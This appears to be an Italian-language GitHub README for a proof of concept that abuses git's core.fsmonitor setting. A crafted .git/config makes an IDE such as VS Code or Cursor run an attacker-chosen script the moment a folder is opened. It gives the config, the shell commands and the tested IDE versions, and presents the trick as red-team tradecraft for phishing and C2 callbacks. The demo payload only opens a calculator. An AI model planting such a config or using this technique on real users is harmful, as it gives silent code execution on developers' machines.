
Questa è una prova di lavoro per abusare di "fsmonitor" contro IDE.
Questo è un problema documentato (noto), ma l'ho scoperto durante la mia ricerca ed è piuttosto utile per RT/PT.
Riepilogo: L'helper FSMonitor viene eseguito da git ad ogni comando come git status, git diff, ecc., quindi git lancerà ciecamente qualsiasi percorso specificato lì. I nostri IDE eseguono git status automaticamente nel momento in cui apri una cartella per popolare il pannello SCM (Source Control Management); il che consente a git di avviare l'helper configurato che esegue codice controllato dall'attaccante. Questo tradecraft può essere usato durante RT o in uno scenario di breach presunto con qualsiasi C2 o il nostro XRayC2 per ottenere un callback che elude le difese di rete tradizionali. (Ovviamente sono necessarie email di phishing per ingannare l'utente finale, ma aprire una cartella nell'IDE sembra un'operazione legittima).
Proof-of-work: fai git clone di questo repo, aggiungi la configurazione qui sotto nella tua directory .git. Una volta fatto, apri la cartella predisposta con l'IDE e dovrebbe apparire una calcolatrice. (L'ho testato con Code e Cursor). Questa POC è specifica per macOS; modificala in base al tuo ambiente.
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Testato su Code
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
Questo funziona perché inizializziamo il repository e poi aggiungiamo core.fsmonitor a un file (che può essere un payload). Quindi, aprire una cartella è sufficiente per eseguire il tuo codice. La "maggior parte" degli sviluppatori/utenti ha ~/Downloads (e cartelle di primo livello simili) nel proprio workspace fidato, quindi la PoC viene eseguita silenziosamente; ma se un repository si trova al di fuori di quei percorsi fidati, l'IDE chiederà "ti fidi di questo publisher?" prima di leggere .git/config.